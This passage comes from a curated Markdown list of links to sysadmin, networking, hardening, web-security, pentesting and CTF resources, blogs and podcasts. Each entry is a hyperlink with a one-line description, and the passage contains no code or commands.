&nbsp;&nbsp; <a href="https://www.cyberciti.biz/">nixCraft</a> - linux and unix tutorials for new and seasoned sysadmin. 
&nbsp;&nbsp; <a href="https://www.tecmint.com/">TecMint</a> - the ideal Linux blog for Sysadmins & Geeks. 
&nbsp;&nbsp; <a href="http://www.omnisecu.com/index.php">Omnisecu</a> - free Networking, System Administration and Security tutorials. 
&nbsp;&nbsp; <a href="https://github.com/cirosantilli/linux-cheat">linux-cheat</a> - Linux tutorials and cheatsheets. Minimal examples. Mostly user-land CLI utilities. 
&nbsp;&nbsp; <a href="https://github.com/snori74/linuxupskillchallenge">linuxupskillchallenge</a> - learn the skills required to sysadmin. 
&nbsp;&nbsp; <a href="http://cb.vu/unixtoolbox.xhtml">Unix Toolbox</a> - Unix/Linux/BSD commands and tasks which are useful for IT work or for advanced users. 
&nbsp;&nbsp; <a href="https://linux-kernel-labs.github.io/refs/heads/master/index.html">Linux Kernel Teaching</a> - is a collection of lectures and labs Linux kernel topics. 
&nbsp;&nbsp; <a href="https://peteris.rocks/blog/htop/">htop explained</a> - explanation of everything you can see in htop/top on Linux. 
&nbsp;&nbsp; <a href="https://linuxguideandhints.com/">Linux Guide and Hints</a> - tutorials on system administration in Fedora and CentOS. 
&nbsp;&nbsp; <a href="https://github.com/NanXiao/strace-little-book">strace-little-book</a> - a little book which introduces strace. 
&nbsp;&nbsp; <a href="https://github.com/goldshtn/linux-tracing-workshop">linux-tracing-workshop</a> - examples and hands-on labs for Linux tracing tools workshops. 
&nbsp;&nbsp; <a href="https://github.com/bagder/http2-explained">http2-explained</a> - a detailed document explaining and documenting HTTP/2. 
&nbsp;&nbsp; <a href="https://github.com/bagder/http3-explained">http3-explained</a> - a document describing the HTTP/3 and QUIC protocols. 
&nbsp;&nbsp; <a href="https://www.manning.com/books/http2-in-action">HTTP/2 in Action</a> - an excellent introduction to the new HTTP/2 standard. 
&nbsp;&nbsp; <a href="https://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/">Let's code a TCP/IP stack</a> - great stuff to learn network and system programming at a deeper level. 
&nbsp;&nbsp; <a href="https://github.com/trimstray/nginx-admins-handbook">Nginx Admin's Handbook</a> - how to improve NGINX performance, security and other important things. 
&nbsp;&nbsp; <a href="https://github.com/digitalocean/nginxconfig.io">nginxconfig.io</a> - NGINX config generator on steroids. 
&nbsp;&nbsp; <a href="https://infosec.mozilla.org/guidelines/openssh">openssh guideline</a> - is to help operational teams with the configuration of OpenSSH server and client. 
&nbsp;&nbsp; <a href="https://gravitational.com/blog/ssh-handshake-explained/">SSH Handshake Explained</a> - is a relatively brief description of the SSH handshake. 
&nbsp;&nbsp; <a href="https://kb.isc.org/docs/using-this-knowledgebase">ISC's Knowledgebase</a> - you'll find some general information about BIND 9, ISC DHCP, and Kea DHCP. 
&nbsp;&nbsp; <a href="https://packetlife.net/">PacketLife.net</a> - a place to record notes while studying for Cisco's CCNP certification.

##### :black_small_square: Microsoft

&nbsp;&nbsp; <a href="https://github.com/infosecn1nja/AD-Attack-Defense">AD-Attack-Defense</a> - attack and defend active directory using modern post exploitation activity.

##### :black_small_square: Large-scale systems

&nbsp;&nbsp; <a href="https://github.com/donnemartin/system-design-primer">The System Design Primer</a> - learn how to design large-scale systems. 
&nbsp;&nbsp; <a href="https://github.com/binhnguyennus/awesome-scalability">Awesome Scalability</a> - best practices in building High Scalability, High Availability, High Stability, and more. 
&nbsp;&nbsp; <a href="https://engineering.videoblocks.com/web-architecture-101-a3224e126947?gi=a896808d22a">Web Architecture 101</a> - the basic architecture concepts.

##### :black_small_square: System hardening

&nbsp;&nbsp; <a href="https://www.cisecurity.org/cis-benchmarks/">CIS Benchmarks</a> - secure configuration settings for over 100 technologies, available as a free PDF. 
&nbsp;&nbsp; <a href="https://highon.coffee/blog/security-harden-centos-7/">Security Harden CentOS 7</a> - this walks you through the steps required to security harden CentOS. 
&nbsp;&nbsp; <a href="https://www.lisenet.com/2017/centos-7-server-hardening-guide/">CentOS 7 Server Hardening Guide</a> - great guide for hardening CentOS; familiar with OpenSCAP. 
&nbsp;&nbsp; <a href="https://github.com/decalage2/awesome-security-hardening">awesome-security-hardening</a> - is a collection of security hardening guides, tools and other resources. 
&nbsp;&nbsp; <a href="https://github.com/trimstray/the-practical-linux-hardening-guide">The Practical Linux Hardening Guide</a> - provides a high-level overview of hardening GNU/Linux systems. 
&nbsp;&nbsp; <a href="https://madaidans-insecurities.github.io/guides/linux-hardening.html">Linux Hardening Guide</a> - how to harden Linux as much as possible for security and privacy.

##### :black_small_square: Security & Privacy

&nbsp;&nbsp; <a href="https://www.hackingarticles.in/">Hacking Articles</a> - LRaj Chandel's Security & Hacking Blog. 
&nbsp;&nbsp; <a href="https://github.com/toniblyx/my-arsenal-of-aws-security-tools">AWS security tools</a> - make your AWS cloud environment more secure. 
&nbsp;&nbsp; <a href="https://inventory.rawsec.ml/index.html">Rawsec's CyberSecurity Inventory</a> - an inventory of tools and resources about CyberSecurity. 
&nbsp;&nbsp; <a href="https://tls.ulfheim.net/">The Illustrated TLS Connection</a> - every byte of a TLS connection explained and reproduced. 
&nbsp;&nbsp; <a href="https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices">SSL Research</a> - SSL and TLS Deployment Best Practices by SSL Labs. 
&nbsp;&nbsp; <a href="http://selinuxgame.org/index.html">SELinux Game</a> - learn SELinux by doing. Solve Puzzles, show skillz. 
&nbsp;&nbsp; <a href="https://smallstep.com/blog/everything-pki.html">Certificates and PKI</a> - everything you should know about certificates and PKI but are too afraid to ask. 
&nbsp;&nbsp; <a href="https://appsecco.com/books/subdomain-enumeration/">The Art of Subdomain Enumeration</a> - a reference for subdomain enumeration techniques. 
&nbsp;&nbsp; <a href="https://lifehacker.com/the-comprehensive-guide-to-quitting-google-1830001964">Quitting Google</a> - the comprehensive guide to quitting Google.

##### :black_small_square: Web Apps

&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/Main_Page">OWASP</a> - worldwide not-for-profit charitable organization focused on improving the security of software. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project">OWASP ASVS 3.0.1</a> - OWASP Application Security Verification Standard Project. 
&nbsp;&nbsp; <a href="https://github.com/Santandersecurityresearch/asvs">OWASP ASVS 3.0.1 Web App</a> - simple web app that helps developers understand the ASVS requirements. 
&nbsp;&nbsp; <a href="https://github.com/OWASP/ASVS/tree/master/4.0">OWASP ASVS 4.0</a> - is a list of application security requirements or tests. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/OWASP_Testing_Project">OWASP Testing Guide v4</a> - includes a "best practice" penetration testing framework. 
&nbsp;&nbsp; <a href="https://github.com/OWASP/DevGuide">OWASP Dev Guide</a> - this is the development version of the OWASP Developer Guide. 
&nbsp;&nbsp; <a href="https://github.com/OWASP/wstg">OWASP WSTG</a> - is a comprehensive open source guide to testing the security of web apps. 
&nbsp;&nbsp; <a href="https://www.owasp.org/index.php/OWASP_API_Security_Project">OWASP API Security Project</a> - focuses specifically on the top ten vulnerabilities in API security. 
&nbsp;&nbsp; <a href="https://infosec.mozilla.org/guidelines/web_security.html">Mozilla Web Security</a> - help operational teams with creating secure web applications. 
&nbsp;&nbsp; <a href="https://github.com/Netflix/security-bulletins">security-bulletins</a> - security bulletins that relate to Netflix Open Source. 
&nbsp;&nbsp; <a href="https://github.com/shieldfy/API-Security-Checklist">API-Security-Checklist</a> - security countermeasures when designing, testing, and releasing your API. 
&nbsp;&nbsp; <a href="https://enable-cors.org/index.html">Enable CORS</a> - enable cross-origin resource sharing. 
&nbsp;&nbsp; <a href="https://appsecwiki.com/#/">Application Security Wiki</a> - is an initiative to provide all application security related resources at one place. 
&nbsp;&nbsp; <a href="https://github.com/GrrrDog/weird_proxies/wiki">Weird Proxies</a> - reverse proxy related attacks; it is a result of analysis of various proxies. 
&nbsp;&nbsp; <a href="https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/">Webshells</a> - great series about malicious payloads. 
&nbsp;&nbsp; <a href="https://portswigger.net/blog/practical-web-cache-poisoning">Practical Web Cache Poisoning</a> - show you how to compromise websites by using esoteric web features. 
&nbsp;&nbsp; <a href="https://github.com/bl4de/research/tree/master/hidden_directories_leaks">Hidden directories and files</a> - as a source of sensitive information about web application. 
&nbsp;&nbsp; <a href="https://bo0om.ru/en/">Explosive blog</a> - great blog about cybersec and pentests. 
&nbsp;&nbsp; <a href="https://www.netsparker.com/security-cookies-whitepaper/">Security Cookies</a> - this paper will take a close look at cookie security. 
&nbsp;&nbsp; <a href="https://github.com/GitGuardian/APISecurityBestPractices">APISecurityBestPractices</a> - help you keep secrets (API keys, db credentials, certificates) out of source code.

##### :black_small_square: All-in-one

&nbsp;&nbsp; <a href="https://lzone.de/cheat-sheet/">LZone Cheat Sheets</a> - all cheat sheets. 
&nbsp;&nbsp; <a href="https://github.com/rstacruz/cheatsheets">Dan’s Cheat Sheets’s</a> - massive cheat sheets documentation. 
&nbsp;&nbsp; <a href="https://devhints.io/">Rico's cheatsheets</a> - this is a modest collection of cheatsheets. 
&nbsp;&nbsp; <a href="https://devdocs.io/">DevDocs API</a> - combines multiple API documentations in a fast, organized, and searchable interface. 
&nbsp;&nbsp; <a href="https://cheat.sh/">cheat.sh</a> - the only cheat sheet you need. 
&nbsp;&nbsp; <a href="https://gnulinux.guru/">gnulinux.guru</a> - collection of cheat sheets about bash, vim and networking. 
&nbsp;&nbsp; <a href="https://andreasbm.github.io/web-skills/">Web Skills</a> - visual overview of useful skills to learn as a web developer.

##### :black_small_square: Ebooks

&nbsp;&nbsp; <a href="https://github.com/EbookFoundation/free-programming-books">free-programming-books</a> - list of free learning resources in many languages.

##### :black_small_square: Other

&nbsp;&nbsp; <a href="https://bitvijays.github.io/LFC-VulnerableMachines.html">CTF Series : Vulnerable Machines</a> - the steps below could be followed to find vulnerabilities and exploits. 
&nbsp;&nbsp; <a href="https://github.com/manoelt/50M_CTF_Writeup">50M_CTF_Writeup</a> - $50 million CTF from Hackerone - writeup. 
&nbsp;&nbsp; <a href="https://github.com/j00ru/ctf-tasks">ctf-tasks</a> - an archive of low-level CTF challenges developed over the years. 
&nbsp;&nbsp; <a href="https://hshrzd.wordpress.com/how-to-start/">How to start RE/malware analysis?</a> - collection of some hints and useful links for the beginners. 
&nbsp;&nbsp; <a href="http://www.kegel.com/c10k.html">The C10K problem</a> - it's time for web servers to handle ten thousand clients simultaneously, don't you think? 
&nbsp;&nbsp; <a href="https://blog.benjojo.co.uk/post/why-is-ethernet-mtu-1500">How 1500 bytes became the MTU of the internet</a> - great story about the Maximum Transmission Unit. 
&nbsp;&nbsp; <a href="http://poormansprofiler.org/">poor man's profiler</a> - like dtrace's don't really provide methods to see what programs are blocking on. 
&nbsp;&nbsp; <a href="https://nickcraver.com/blog/2017/05/22/https-on-stack-overflow/">HTTPS on Stack Overflow</a> - this is the story of a long journey regarding the implementation of SSL. 
&nbsp;&nbsp; <a href="https://drawings.jvns.ca/">Julia's Drawings</a> - some drawings about programming and unix world, zines about systems & debugging tools. 
&nbsp;&nbsp; <a href="https://github.com/corkami/collisions">Hash collisions</a> - this great repository is focused on hash collisions exploitation. 
&nbsp;&nbsp; <a href="https://github.com/in3rsha/sha256-animation">sha256-animation</a> - animation of the SHA-256 hash function in your terminal. 
&nbsp;&nbsp; <a href="https://sha256algorithm.com/">sha256algorithm</a> - sha256 algorithm explained online step by step visually. 
&nbsp;&nbsp; <a href="https://labs.ripe.net/Members/cteusche/bgp-meets-cat">BGP Meets Cat</a> - after 3072 hours of manipulating BGP, Job Snijders has succeeded in drawing a Nyancat. 
&nbsp;&nbsp; <a href="https://github.com/benjojo/bgp-battleships">bgp-battleships</a> - playing battleships over BGP. 
&nbsp;&nbsp; <a href="https://github.com/alex/what-happens-when">What happens when...</a> - you type google.com into your browser and press enter? 
&nbsp;&nbsp; <a href="https://github.com/vasanthk/how-web-works">how-web-works</a> - based on the 'What happens when...' repository. 
&nbsp;&nbsp; <a href="https://robertheaton.com/2018/11/28/https-in-the-real-world/">HTTPS in the real world</a> - great tutorial explain how HTTPS works in the real world. 
&nbsp;&nbsp; <a href="https://about.gitlab.com/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/">Gitlab and NFS bug</a> - how we spent two weeks hunting an NFS bug in the Linux kernel. 
&nbsp;&nbsp; <a href="https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/">Gitlab melts down</a> - postmortem on the database outage of January 31 2017 with the lessons we learned. 
&nbsp;&nbsp; <a href="http://www.catb.org/esr/faqs/hacker-howto.html">How To Become A Hacker</a> - if you want to be a hacker, keep reading. 
&nbsp;&nbsp; <a href="http://ithare.com/infographics-operation-costs-in-cpu-clock-cycles/">Operation Costs in CPU</a> - should help to estimate costs of certain operations in CPU clocks. 
&nbsp;&nbsp; <a href="https://cstack.github.io/db_tutorial/">Let's Build a Simple Database</a> - writing a sqlite clone from scratch in C. 
&nbsp;&nbsp; <a href="https://djhworld.github.io/post/2019/05/21/i-dont-know-how-cpus-work-so-i-simulated-one-in-code/">simple-computer</a> - great resource to understand how computers work under the hood. 
&nbsp;&nbsp; <a href="https://www.troyhunt.com/working-with-154-million-records-on/">The story of "Have I been pwned?"</a> - working with 154 million records on Azure Table Storage. 
&nbsp;&nbsp; <a href="https://www.top500.org/">TOP500 Supercomputers</a> - shows the 500 most powerful commercially available computer systems. 
&nbsp;&nbsp; <a href="https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker">How to build a 8 GPU password cracker</a> - hours of frustration like desktop components do. 
&nbsp;&nbsp; <a href="https://home.cern/science/computing">CERN Data Centre</a> - 3D visualizations of the CERN computing environments (and more). 
&nbsp;&nbsp; <a href="http://howfuckedismydatabase.com/">How fucked is my database</a> - evaluate how fucked your database is with this handy website. 
&nbsp;&nbsp; <a href="https://krisbuytaert.be/blog/linux-troubleshooting-101-2016-edition/index.html">Linux Troubleshooting 101 , 2016 Edition</a> - everything is a DNS Problem... 
&nbsp;&nbsp; <a href="https://open.buffer.com/5-whys-process/">Five Whys</a> - you know what the problem is, but you cannot solve it? 
&nbsp;&nbsp; <a href="https://gvnshtn.com/maersk-me-notpetya/">Maersk, me & notPetya</a> - how did ransomware successfully hijack hundreds of domain controllers? 
&nbsp;&nbsp; <a href="https://howhttps.works/">howhttps.works</a> - how HTTPS works ...in a comic! 
&nbsp;&nbsp; <a href="https://howdns.works/">howdns.works</a> - a fun and colorful explanation of how DNS works. 
&nbsp;&nbsp; <a href="https://postgresqlco.nf/en/doc/param/">POSTGRESQLCO.NF</a> - your postgresql.conf documentation and recommendations.

#### Inspiring Lists &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: SysOps/DevOps

&nbsp;&nbsp; <a href="https://github.com/kahun/awesome-sysadmin">Awesome Sysadmin</a> - amazingly awesome open source sysadmin resources. 
&nbsp;&nbsp; <a href="https://github.com/alebcay/awesome-shell">Awesome Shell</a> - awesome command-line frameworks, toolkits, guides and gizmos. 
&nbsp;&nbsp; <a href="https://github.com/learnbyexample/Command-line-text-processing">Command-line-text-processing</a> - finding text to search and replace, sorting to beautifying, and more. 
&nbsp;&nbsp; <a href="https://github.com/caesar0301/awesome-pcaptools">Awesome Pcaptools</a> - collection of tools developed by other researchers to process network traces. 
&nbsp;&nbsp; <a href="https://github.com/zoidbergwill/awesome-ebpf">awesome-ebpf</a> - a curated list of awesome projects related to eBPF. 
&nbsp;&nbsp; <a href="https://github.com/leandromoreira/linux-network-performance-parameters">Linux Network Performance</a> - where some of the network sysctl variables fit into the Linux/Kernel network flow. 
&nbsp;&nbsp; <a href="https://github.com/dhamaniasad/awesome-postgres">Awesome Postgres</a> - list of awesome PostgreSQL software, libraries, tools and resources. 
&nbsp;&nbsp; <a href="https://github.com/enochtangg/quick-SQL-cheatsheet">quick-SQL-cheatsheet</a> - a quick reminder of all SQL queries and examples on how to use them. 
&nbsp;&nbsp; <a href="https://github.com/Kickball/awesome-selfhosted">Awesome-Selfhosted</a> - list of Free Software network services and web applications which can be hosted locally. 
&nbsp;&nbsp; <a href="https://wiki.archlinux.org/index.php/List_of_applications">List of applications</a> - huge list of apps sorted by category, as a reference for those looking for packages. 
&nbsp;&nbsp; <a href="https://github.com/InterviewMap/CS-Interview-Knowledge-Map">CS-Interview-Knowledge-Map</a> - build the best interview map. 
&nbsp;&nbsp; <a href="https://github.com/Tikam02/DevOps-Guide">DevOps-Guide</a> - DevOps Guide from basic to advanced with Interview Questions and Notes. 
&nbsp;&nbsp; <a href="https://issue.freebsdfoundation.org/publication/?m=33057&l=1&view=issuelistBrowser">FreeBSD Journal</a> - it is a great list of periodical magazines about FreeBSD and other important things. 
&nbsp;&nbsp; <a href="https://github.com/bregman-arie/devops-interview-questions">devops-interview-questions</a> - contains interview questions on various DevOps and SRE related topics.

##### :black_small_square: Developers

&nbsp;&nbsp; <a href="https://github.com/kamranahmedse/developer-roadmap">Web Developer Roadmap</a> - roadmaps, articles and resources to help you choose your path, learn and improve. 
&nbsp;&nbsp; <a href="https://github.com/thedaviddias/Front-End-Checklist">Front-End-Checklist</a> - the perfect Front-End Checklist for modern websites and meticulous developers. 
&nbsp;&nbsp; <a href="https://github.com/thedaviddias/Front-End-Performance-Checklist">Front-End-Performance-Checklist</a> - Front-End Performance Checklist that runs faster than the others. 
&nbsp;&nbsp; <a href="https://rszalski.github.io/magicmethods/">Python's Magic Methods</a> - what are magic methods? They're everything in object-oriented Python. 
&nbsp;&nbsp; <a href="https://github.com/satwikkansal/wtfpython">wtfpython</a> - a collection of surprising Python snippets and lesser-known features. 
&nbsp;&nbsp; <a href="https://github.com/twhite96/js-dev-reads">js-dev-reads</a> - a list of books and articles for the discerning web developer to read. 
&nbsp;&nbsp; <a href="https://github.com/RomuloOliveira/commit-messages-guide">Commit messages guide</a> - a guide to understand the importance of commit messages.

##### :black_small_square: Security/Pentesting

&nbsp;&nbsp; <a href="https://github.com/qazbnm456/awesome-web-security">Awesome Web Security</a> - a curated list of Web Security materials and resources. 
&nbsp;&nbsp; <a href="https://github.com/joe-shenouda/awesome-cyber-skills">awesome-cyber-skills</a> - a curated list of hacking environments where you can train your cyber skills. 
&nbsp;&nbsp; <a href="https://github.com/devsecops/awesome-devsecops">awesome-devsecops</a> - an authoritative list of awesome devsecops tools. 
&nbsp;&nbsp; <a href="https://github.com/jivoi/awesome-osint">awesome-osint</a> - is a curated list of amazingly awesome OSINT. 
&nbsp;&nbsp; <a href="https://github.com/HolyBugx/HolyTips">HolyTips</a> - tips and tutorials on Bug Bounty Hunting and Web App Security. 
&nbsp;&nbsp; <a href="https://github.com/hslatman/awesome-threat-intelligence">awesome-threat-intelligence</a> - a curated list of Awesome Threat Intelligence resources. 
&nbsp;&nbsp; <a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit">Red-Teaming-Toolkit</a> - a collection of open source and commercial tools that aid in red team operations. 
&nbsp;&nbsp; <a href="https://github.com/snoopysecurity/awesome-burp-extensions">awesome-burp-extensions</a> - a curated list of amazingly awesome Burp Extensions. 
&nbsp;&nbsp; <a href="https://github.com/Hack-with-Github/Free-Security-eBooks">Free Security eBooks</a> - list of a Free Security and Hacking eBooks. 
&nbsp;&nbsp; <a href="https://github.com/yeahhub/Hacking-Security-Ebooks">Hacking-Security-Ebooks</a> - top 100 Hacking & Security E-Books. 
&nbsp;&nbsp; <a href="https://github.com/nikitavoloboev/privacy-respecting">privacy-respecting</a> - curated list of privacy respecting services and software. 
&nbsp;&nbsp; <a href="https://github.com/wtsxDev/reverse-engineering">reverse-engineering</a> - list of awesome reverse engineering resources. 
&nbsp;&nbsp; <a href="https://github.com/michalmalik/linux-re-101">linux-re-101</a> - a collection of resources for linux reverse engineering. 
&nbsp;&nbsp; <a href="https://github.com/onethawt/reverseengineering-reading-list">reverseengineering-reading-list</a> - a list of Reverse Engineering articles, books, and papers. 
&nbsp;&nbsp; <a href="https://github.com/0xInfection/Awesome-WAF">Awesome-WAF</a> - a curated list of awesome web-app firewall (WAF) stuff. 
&nbsp;&nbsp; <a href="https://github.com/jakejarvis/awesome-shodan-queries">awesome-shodan-queries</a> - interesting, funny, and depressing search queries to plug into shodan.io. 
&nbsp;&nbsp; <a href="https://github.com/danielmiessler/RobotsDisallowed">RobotsDisallowed</a> - a curated list of the most common and most interesting robots.txt disallowed directories. 
&nbsp;&nbsp; <a href="https://github.com/Kayzaks/HackingNeuralNetworks">HackingNeuralNetworks</a> - is a small course on exploiting and defending neural networks. 
&nbsp;&nbsp; <a href="https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568">wildcard-certificates</a> - why you probably shouldn't use a wildcard certificate. 
&nbsp;&nbsp; <a href="https://gist.github.com/joepie91/5a9909939e6ce7d09e29">Don't use VPN services</a> - which is what every third-party "VPN provider" does. 
&nbsp;&nbsp; <a href="https://github.com/InQuest/awesome-yara">awesome-yara</a> - a curated list of awesome YARA rules, tools, and people. 
&nbsp;&nbsp; <a href="https://github.com/drduh/macOS-Security-and-Privacy-Guide">macOS-Security-and-Privacy-Guide</a> - guide to securing and improving privacy on macOS. 
&nbsp;&nbsp; <a href="https://github.com/usnistgov/macos_security">macos_security</a> - macOS Security Compliance Project. 
&nbsp;&nbsp; <a href="https://github.com/PaulSec/awesome-sec-talks">awesome-sec-talks</a> - is a collected list of awesome security talks. 
&nbsp;&nbsp; <a href="https://github.com/k4m4/movies-for-hackers">Movies for Hackers</a> - list of movies every hacker & cyberpunk must watch. 
&nbsp;&nbsp; <a href="https://github.com/danieldizzy/Cryptography_1">Cryptography_1</a> - materials used whilst taking Prof. Dan Boneh Stanford Crypto course. 
&nbsp;&nbsp; <a href="https://github.com/ashutosh1206/Crypton">Crypton</a> - library to learn and practice Offensive and Defensive Cryptography.

##### :black_small_square: Other

&nbsp;&nbsp; <a href="https://www.cheatography.com/">Cheatography</a> - over 3,000 free cheat sheets, revision aids and quick references. 
&nbsp;&nbsp; <a href="https://github.com/mre/awesome-static-analysis">awesome-static-analysis</a> - static analysis tools for all programming languages. 
&nbsp;&nbsp; <a href="https://github.com/ossu/computer-science">computer-science</a> - path to a free self-taught education in Computer Science. 
&nbsp;&nbsp; <a href="https://github.com/danluu/post-mortems">post-mortems</a> - is a collection of postmortems (config errors, hardware failures, and more). 
&nbsp;&nbsp; <a href="https://github.com/danistefanovic/build-your-own-x">build-your-own-x</a> - build your own (insert technology here). 
&nbsp;&nbsp; <a href="https://github.com/rby90/Project-Based-Tutorials-in-C">Project-Based-Tutorials-in-C</a> - is a curated list of project-based tutorials in C. 
&nbsp;&nbsp; <a href="https://github.com/kylelobo/The-Documentation-Compendium">The-Documentation-Compendium</a> - various README templates & tips on writing high-quality documentation. 
&nbsp;&nbsp; <a href="https://github.com/mahmoud/awesome-python-applications">awesome-python-applications</a> - free software that works great, and also happens to be open-source Python. 
&nbsp;&nbsp; <a href="https://github.com/awesomedata/awesome-public-datasets">awesome-public-datasets</a> - a topic-centric list of HQ open datasets. 
&nbsp;&nbsp; <a href="https://github.com/Sahith02/machine-learning-algorithms">machine-learning-algorithms</a> - a curated list of all machine learning algorithms and concepts.

#### Blogs/Podcasts/Videos &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: SysOps/DevOps

&nbsp;&nbsp; <a href="https://www.youtube.com/watch?v=nAFpkV5-vuI">Varnish for PHP developers</a> - very interesting presentation of Varnish by Mattias Geniar. 
&nbsp;&nbsp; <a href="https://www.youtube.com/watch?v=CZ3wIuvmHeM">A Netflix Guide to Microservices</a> - talks about the chaotic and vibrant world of microservices at Netflix.

##### :black_small_square: Developers

&nbsp;&nbsp; <a href="https://www.youtube.com/watch?v=yOyaJXpAYZQ">Comparing C to machine lang</a> - compare a simple C app with the compiled machine code of that program.

##### :black_small_square: Geeky Persons

&nbsp;&nbsp; <a href="http://www.brendangregg.com/">Brendan Gregg's Blog</a> - is an industry expert in computing performance and cloud computing. 
&nbsp;&nbsp; <a href="https://gynvael.coldwind.pl/">Gynvael "GynDream" Coldwind</a> - is a IT security engineer at Google. 
&nbsp;&nbsp; <a href="http://lcamtuf.coredump.cx/">Michał "lcamtuf" Zalewski</a> - white hat hacker, computer security expert. 
&nbsp;&nbsp; <a href="https://ma.ttias.be/">Mattias Geniar</a> - developer, sysadmin, blogger, podcaster and public speaker. 
&nbsp;&nbsp; <a href="https://nickcraver.com/">Nick Craver</a> - software developer and systems administrator for Stack Exchange. 
&nbsp;&nbsp; <a href="https://scotthelme.co.uk/">Scott Helme</a> - security researcher, speaker and founder of securityheaders.com and report-uri.com. 
&nbsp;&nbsp; <a href="https://krebsonsecurity.com/">Brian Krebs</a> - The Washington Post and now an Independent investigative journalist. 
&nbsp;&nbsp; <a href="https://www.schneier.com/">Bruce Schneier</a> - is an internationally renowned security technologist, called a "security guru". 
&nbsp;&nbsp; <a href="https://chrissymorgan.co.uk/">Chrissy Morgan</a> - advocate of practical learning, Chrissy also takes part in bug bounty programs. 
&nbsp;&nbsp; <a href="https://blog.zsec.uk/">Andy Gill</a> - is a hacker at heart who works as a senior penetration tester. 
&nbsp;&nbsp; <a href="https://danielmiessler.com/">Daniel Miessler</a> - cybersecurity expert and writer. 
&nbsp;&nbsp; <a href="https://samy.pl/">Samy Kamkar</a> - is an American privacy and security researcher, computer hacker. 
&nbsp;&nbsp; <a href="https://www.j4vv4d.com/">Javvad Malik</a> - is a security advocate at AlienVault, a blogger event speaker and industry commentator. 
&nbsp;&nbsp; <a href="https://www.grahamcluley.com/">Graham Cluley</a> - public speaker and independent computer security analyst. 
&nbsp;&nbsp; <a href="https://security.szurek.pl/">Kacper Szurek</a> - detection engineer at ESET. 
&nbsp;&nbsp; <a href="https://www.troyhunt.com/">Troy Hunt</a> - web security expert known for public education and outreach on security topics. 
&nbsp;&nbsp; <a href="https://raymii.org/s/index.html">raymii.org</a> - sysadmin specializing in building high availability cloud environments. 
&nbsp;&nbsp; <a href="https://robert.penz.name/">Robert Penz</a> - IT security expert.

##### :black_small_square: Geeky Blogs

&nbsp;&nbsp; <a href="https://linux-audit.com/">Linux Audit</a> - the Linux security blog about auditing, hardening and compliance by Michael Boelen. 
&nbsp;&nbsp; <a href="https://linuxsecurity.expert/">
Linux Security Expert</a> - trainings, howtos, checklists, security tools, and more. 
&nbsp;&nbsp; <a href="http://www.grymoire.com/">The Grymoire</a> - collection of useful incantations for wizards, be you computer wizards, magicians, or whatever. 
&nbsp;&nbsp; <a href="https://www.secjuice.com">Secjuice</a> - is the only non-profit, independent and volunteer led publication in the information security space. 
&nbsp;&nbsp; <a href="https://duo.com/decipher">Decipher</a> - security news that informs and inspires.

##### :black_small_square: Geeky Vendor Blogs

&nbsp;&nbsp; <a href="https://www.tenable.com/podcast">Tenable Podcast</a> - conversations and interviews related to Cyber Exposure, and more. 
&nbsp;&nbsp; <a href="https://nakedsecurity.sophos.com/">Sophos</a> - threat news room, giving you news, opinion, advice and research on computer security issues. 
&nbsp;&nbsp; <a href="https://www.tripwire.com/state-of-security/">Tripwire State of Security</a> - blog featuring the latest news, trends and insights on current security issues. 
&nbsp;&nbsp; <a href="https://blog.malwarebytes.com/">Malwarebytes Labs Blog</a> - security blog aims to provide insider news about cybersecurity. 
&nbsp;&nbsp; <a href="https://www.trustedsec.com/category/articles/">TrustedSec</a> - latest news, and trends about cybersecurity. 
&nbsp;&nbsp; <a href="https://portswigger.net/blog">PortSwigger Web Security Blog</a> - about web app security vulns and top tips from our team of web security. 
&nbsp;&nbsp; <a href="https://www.alienvault.com/blogs">AT&T Cybersecurity blog</a> - news on emerging threats and practical advice to simplify threat detection. 
&nbsp;&nbsp; <a href="https://thycotic.com/company/blog/">Thycotic</a> - where CISOs and IT Admins come to learn about industry trends, IT security, and more.

##### :black_small_square: Geeky Cybersecurity Podcasts

&nbsp;&nbsp; <a href="https://risky.biz/netcasts/risky-business/">Risky Business</a> - is a weekly information security podcast featuring news and in-depth interviews. 
&nbsp;&nbsp; <a href="https://www.vice.com/en_us/topic/cyber">Cyber, by Motherboard</a> - stories, and focus on the ideas about cybersecurity. 
&nbsp;&nbsp; <a href="https://www.tenable.com/podcast">Tenable Podcast</a> - conversations and interviews related to Cyber Exposure, and more. 
&nbsp;&nbsp; <a href="https://podcasts.apple.com/gb/podcast/cybercrime-investigations/id1428801405">
Cybercrime Investigations</a> - podcast by Geoff White about cybercrimes. 
&nbsp;&nbsp; <a href="https://themanyhats.club/tag/episodes/">The many hats club</a> - featuring stories from a wide range of Infosec people (Whitehat, Greyhat and Blackhat). 
&nbsp;&nbsp; <a href="https://darknetdiaries.com/">Darknet Diaries</a> - true stories from the dark side of the Internet. 
&nbsp;&nbsp; <a href="https://www.youtube.com/playlist?list=PL423I_gHbWUXah3dmt_q_XNp0NlGAKjis">OSINTCurious Webcasts</a> - is the investigative curiosity that helps people be successful in OSINT. 
&nbsp;&nbsp; <a href="https://www.youtube.com/user/SecurityWeeklyTV">Security Weekly</a> - the latest information security and hacking news.

##### :black_small_square: Geeky Cybersecurity Video Blogs

&nbsp;&nbsp; <a href="https://www.youtube.com/channel/UCzvJStjySZVvOBsPl-Vgj0g">rev3rse security</a> - offensive, binary exploitation, web app security, hardening, red team, blue team. 
&nbsp;&nbsp; <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w">LiveOverflow</a> - a lot more advanced topics than what is typically offered in paid online courses - but for free. 
&nbsp;&nbsp; <a href="https://www.youtube.com/infoseccynic">J4vv4D</a> - the important information regarding our internet security. 
&nbsp;&nbsp; <a href="https://cybertalks.co.uk/">
CyberTalks</a> - talks, interviews, and article about cybersecurity.

##### :black_small_square: Best Personal Twitter Accounts

